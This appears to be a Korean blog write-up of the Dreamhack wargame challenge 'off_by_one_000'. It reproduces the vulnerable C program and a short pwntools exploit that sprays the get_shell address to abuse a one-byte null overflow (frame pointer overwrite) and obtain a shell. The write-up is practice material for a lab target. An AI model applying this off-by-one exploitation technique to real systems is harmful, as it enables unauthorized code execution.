본문 바로가기

Dreamhack - off_by_one_000 본문

wargame/DreamHack

Dreamhack - off_by_one_000

Seongjun_You 2021. 11. 15. 19:44

https://dreamhack.io/wargame/challenges/9/

 

off_by_one_000

Description 이 문제는 서버에서 작동하고 있는 서비스(offbyone_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "fl

dreamhack.io

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

간단한 에코 프로그램이다.

 

exploit_code

from pwn import *
p = remote("host1.dreamhack.games",16293)
payload = p32(0x080485db)*64

p.send(payload)
print(p.recvrepeat(1))
p.interactive()

굉장히 간단한 exploit_code이다

하지만 공격 과정을 이해하기에는 그리 쉽지 않을것이다......

 

 

 

이 문제는 FPO 공격 기법을 통해 푸는 방법이다

배열은 256byte이다.

근데 입력 받는 size를 NULL바이트 까지 고려해야하지만

문제에서는 256byte로 지정했다.

1byte가 bof가 발생한다.

 

NULL바이트로 인해 ebp의 첫바이트가 \x00으로 바뀐다.

그래서 이전 함수 SFP가 아닌

buf의 어딘가를 가르킨다

.

ASLR이 켜져있기 때문에

256/4 = 64

64개의 get_shell주소를 꽉 채워서 보내버렸다.

 

 

'wargame > DreamHack' 카테고리의 다른 글

out_of_bound  (0) 2021.11.28
off_by_one_001  (0) 2021.11.28
Dreamhack - basic_exploitation_003  (0) 2021.11.03
Dreamhack - basic_exploitation_002  (0) 2021.11.03
Dreamhack - basic_exploitation_001  (0) 2021.11.03
Comments